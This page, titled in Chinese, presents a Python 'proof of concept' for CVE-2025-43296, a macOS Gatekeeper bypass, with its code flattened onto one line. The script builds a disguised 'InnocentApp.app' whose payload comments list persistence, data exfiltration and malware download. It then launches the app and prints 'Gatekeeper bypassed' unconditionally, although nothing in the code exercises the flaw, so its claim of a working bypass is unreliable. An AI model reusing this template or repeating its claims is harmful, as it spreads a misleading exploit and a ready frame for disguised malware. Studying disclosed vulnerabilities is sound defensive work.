CVE-2025-43296 macOS Gatekeeper检查绕过漏洞

# CVE-2025-43296 PoC - macOS Gatekeeper Bypass # This is a conceptual PoC demonstrating the Gatekeeper bypass logic issue # Fixed in macOS Tahoe 26 import os import subprocess import sys def create_malicious_app(): """ Create a malicious .app bundle that exploits the Gatekeeper validation logic flaw to bypass security checks. """ app_name = "InnocentApp.app" app_path = os.path.expanduser(f"~/Desktop/{app_name}") # Create app bundle structure os.makedirs(f"{app_path}/Contents/MacOS", exist_ok=True) os.makedirs(f"{app_path}/Contents/Resources", exist_ok=True) # Create Info.plist with manipulated metadata info_plist = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>CFBundleExecutable</key> <string>payload</string> <key>CFBundleIdentifier</key> <string>com.example.innocentapp</string> <key>CFBundleName</key> <string>InnocentApp</string> <key>CFBundlePackageType</key> <string>APPL</string> <key>CFBundleShortVersionString</key> <string>1.0</string> <key>LSMinimumSystemVersion</key> <string>10.15</string> </dict> </plist>''' with open(f"{app_path}/Contents/Info.plist", "w") as f: f.write(info_plist) # Create malicious payload executable payload_script = '''#!/bin/bash # Malicious payload - bypasses Gatekeeper due to logic flaw echo "Gatekeeper bypassed successfully" # Insert malicious actions here: # - Establish persistence # - Exfiltrate user data # - Download additional malware osascript -e 'display dialog "App executed without Gatekeeper verification"' ''' payload_path = f"{app_path}/Contents/MacOS/payload" with open(payload_path, "w") as f: f.write(payload_script) os.chmod(payload_path, 0o755) print(f"[*] Malicious app created at: {app_path}") return app_path def trigger_bypass(app_path): """ Trigger the Gatekeeper bypass by opening the malicious app. On vulnerable macOS versions (< Tahoe 26), Gatekeeper validation logic fails to properly verify the application. """ print(f"[*] Attempting to open: {app_path}") print("[*] On vulnerable systems, Gatekeeper will not block execution") # Simulate user interaction (double-click or open command) try: subprocess.run(["open", app_path], check=True) print("[+] Application launched - Gatekeeper bypassed!") except subprocess.CalledProcessError as e: print(f"[-] Failed to launch: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-43296 - macOS Gatekeeper Bypass PoC") print("Affected: macOS versions prior to Tahoe 26") print("=" * 60) if sys.platform != "darwin": print("[!] This PoC targets macOS systems only") sys.exit(1) app = create_malicious_app() trigger_bypass(app)